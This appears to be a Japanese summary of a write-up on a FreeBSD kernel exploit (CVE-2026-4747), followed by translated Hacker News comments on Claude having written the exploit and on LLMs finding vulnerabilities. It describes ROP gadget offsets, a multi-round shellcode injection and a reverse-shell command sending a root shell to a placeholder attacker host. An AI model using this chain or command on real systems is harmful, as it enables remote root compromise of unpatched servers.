FreeBSDのリモートカーネルRCE(CVE-2026-4747)でrootシェルを取得
(github.com/califio)- FreeBSDのkgssapi.koモジュールで、RPCSEC_GSS認証処理中にスタックバッファオーバーフローが発生し、リモートコード実行が可能
svc_rpc_gss_validate()関数が、境界検査なしで認証情報データをコピーし、戻りアドレスまで上書き- 攻撃者は有効なKerberosチケットを用いて、NFSサーバーのRPCSEC_GSS経路経由でカーネルROPチェーンを注入
- 15段階のオーバーフローにより、カーネルBSS領域に432バイトのシェルコードを書き込んで実行し、root権限のreverse shellを生成
- FreeBSD 13.5〜15.0の一部バージョンが影響を受け、パッチでは**
oa_length検証ロジック**が追加
CVE-2026-4747 — FreeBSD kgssapi.ko RPCSEC_GSS スタックバッファオーバーフロー
- FreeBSDのkgssapi.koモジュールにおいて、RPCSEC_GSS認証処理中に発生するスタックバッファオーバーフロー脆弱性
svc_rpc_gss_validate()関数がRPCヘッダーを128バイトのスタックバッファに再構成する際、oa_lengthに対する境界検査なしで認証情報データをコピーする- 32バイトの固定ヘッダーの後、残り96バイトを超える認証情報はローカル変数、保存済みレジスタ、戻りアドレスまで上書きする
- FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) バージョンが影響を受ける
- パッチでは、コピー前に
oa_lengthがバッファサイズを超えるかを検査する条件文が追加された
オーバーフローの構造と影響
- 関数プロローグの解析の結果、
rpchdr配列は[rbp-0xc0]に位置し、コピー開始位置は[rbp-0xa0] - 96バイト以降から、保存済みRBX、R12〜R15、RBP、戻りアドレスの順に上書きされる
- 実際の攻撃では、GSSヘッダーと16バイトのコンテキストハンドルにより、戻りアドレスは認証情報本体の200バイト目に位置する
- 脆弱なコードには、NFSサーバーのRPCSEC_GSS認証経路でのみ到達可能
- 攻撃者は有効なKerberosチケットを持つユーザーである必要があり、RPCSEC_GSS認証(DATAプロシージャ)段階でオーバーフローを引き起こす
攻撃環境の構成
- 対象VM: FreeBSD 14.4-RELEASE amd64、NFSサーバー有効、
kgssapi.koロード済み、MIT Kerberos KDC稼働 - 攻撃者ホスト: Linux、Python3
gssapiモジュールおよびMIT Kerberosクライアントをインストール済み、NFS(2049/TCP)およびKDC(88/TCP)へアクセス可能 - QEMU、VMware、VirtualBox、bhyve などさまざまなハイパーバイザー環境で構成可能
- Kerberos設定時は、
krb5.confのrdns=false、dns_canonicalize_hostname=false設定が必須 - VMと攻撃者間でホスト名(
test)およびサービスプリンシパル(nfs/test@TEST.LOCAL)が一致している必要がある
リモートカーネルコード実行(RCE)エクスプロイトの構造
- 攻撃は15ラウンドの多段階オーバーフローで構成される
- 各ラウンドごとに新しいKerberos GSSコンテキストを生成
- サイズ超過のRPCSEC_GSS DATAパケットを送信
- 戻りアドレスをROPガジェットで上書きし、カーネルメモリへのデータ書き込みまたはシェルコード実行を行う
kthread_exit()呼び出しでNFSスレッドを正常終了
- 各ラウンドは約200バイトのROPチェーンを使用し、合計432バイトのシェルコードを15回に分けて送信する
- FreeBSDはCPUごとに8本のNFSスレッドを生成するため、最低2 CPU(16スレッド)が必要
ROPチェーンの構成
- 主なROPガジェット:
pop rdi; ret(K+0x1adcda)pop rsi; ret(K+0x1cdf98)pop rdx; ret(K+0x5fa429)pop rax; ret(K+0x400cb4)mov [rdi], rax; ret(0xffffffff80e3457c) — 任意のカーネルメモリに8バイト書き込み
- Round 1:
pmap_change_prot()呼び出しでカーネルBSS領域をRWXに変更 - Rounds 2–14:
mov [rdi], raxガジェットを用いて、BSSにシェルコードを32バイトずつ書き込む - Round 15: 最後の16バイトを書き込んだ後、シェルコードのエントリポイントへジャンプ
シェルコードの動作
- カーネルモード(CPL 0)で実行され、root権限のreverse shellプロセスを生成
- NFSカーネルスレッドから直接
execve()を呼び出せないため、2段階構造を使用- Entry関数:
kproc_create()で新しいカーネルプロセスを生成して終了 - Worker関数:
/bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f"を実行
- Entry関数:
DR7レジスタを初期化してデバッグ例外を防止P_KPROCフラグを解除し、fork_exit()がkthread_exit()ではなくuserret経路に進むようにする- 結果として
/bin/shが**uid 0(root)**権限でユーザーモード実行される
主な問題解決の過程
- レジスタオフセットの不一致: 実際のRIPオフセットが200バイトであることをDe Bruijnパターンで確認
- MIT–Heimdal GSS非互換: ホスト名正規化の問題を
krb5.conf設定で解決 - デバッグレジスタの継承:
DR7初期化でtrap 1例外を回避 - 400バイト制限:
pop rdi + pop rax + mov [rdi], raxの組み合わせで8バイト単位の安定転送を実現 - NFSスレッド消費: 各ラウンドごとにスレッド1本が終了 → 最低2 CPUが必要
最終的なエクスプロイトの流れの要約
- 攻撃者はKerberosチケット取得後、15個のRPCSEC_GSSオーバーフローパケットを順次送信
- 1ラウンド目: BSSをRWXに設定
- 2〜14ラウンド目: シェルコード416バイトを書き込み
- 15ラウンド目: 最後の16バイトを書き込み、シェルコードを実行
- シェルコードが
kproc_create()で新しいプロセスを生成し、/bin/shを実行 - 攻撃者側の
ncセッションでrootシェルを取得 - 全工程は約45秒を要し、合計15個のRPCパケットで完了する
1件のコメント
Hacker Newsの意見
ポイントは、Claudeが自力でバグを見つけたのではなく、すでに公開されていたCVEレポートを受け取り、その脆弱性を悪用するプログラムを書いたという点
ただし今の進歩の速さを見ると、近いうちにClaudeのようなモデルがカーネルや中核サービスのソースコードを解析し、VMで反復実験しながら新しいCVEを自動で見つけ出す時代が来てもおかしくない
以前はCVEを見つけるコストが高すぎて、金銭的利益を狙う攻撃者だけが試みていた
いまはコストが下がり、善意の研究者でも容易に見つけられるようになって、悪用される前にパッチを当てられる環境が整いつつある
いまはClaude Codeのようなモデルがコードベースを解析し、どこをどうfuzzテストすべきか提案し、クラッシュを調べながら反復学習すればCVEを見つけられそうだ
Nicholas CarliniがAnthropicでClaudeを使って見つけ、その結果としてCVEレポートが作成された
こうした自動fuzzingにはLLMがかなり向いている
Claudeはすでに専門家レベルでCVEを見つけている
Thai Duongの会社Califがこの事例をまとめたブログ記事を公開している
使用されたプロンプトも含まれており、このバグもまたClaudeがNicholas Carliniを通じて発見したもの
FreeBSD 14.xにはKASLR(カーネルアドレス空間配置のランダム化)やスタックカナリアがなく、攻撃しやすかった
FreeBSD 15.xでこれが改善されるのか気になる
参考までに、NetBSDにはすでにKASLR機能がある
sysctl kern.elf64.aslr.enable: 1で確認できる関連フォーラム投稿によれば、KASLRは安全だという錯覚を与えるだけで実際のセキュリティ強化はわずかだという意見もある
最近公開された“Black-Hat LLMs”発表を見ると、LLMは脆弱性探索とエクスプロイトにますます長けてきている
Sam Altmanが昨年12月にHead of Preparednessを採用するとするツイートを投稿した時点で、その兆しはあった
最も難しいのは脆弱性を見つけることであり、直すことではない
ほとんどのセキュリティ研究者は金銭的理由から脆弱性を公開しない
そのため自動検知が可能になれば、危険ではあっても長期的には大きな利益になるはずだ
そうでなければオープンソース開発者に新たな負担を与える可能性がある
以前のGoogleとFFmpegのセキュリティパッチ論争のように
公開されたプロンプト集を共有してくれてありがとう
こうした自動化は開発チームにとっては時間の節約になるかもしれないが、一般ユーザーには大きな価値がないかもしれない
最近のカーネルバグはすでに手作業では探していない
それでも人々がClaudeの話ばかりするのは、結局Anthropicの宣伝効果によるもののようだ
いまや「Claudeがコードを書いた」という事実そのものより、そのコードの品質と保守性がどうなのかに焦点を当てるべきだ
Claudeが書いたコードが実際に保守可能な構造なのか、それともひどいものなのか気になる
こうした事例はエージェントの自律性と強力さを示している
同時に、企業が感じている統制への不安とガバナンスの必要性を浮き彫りにしている例でもある
プロンプト履歴全体を見られるのは興味深かった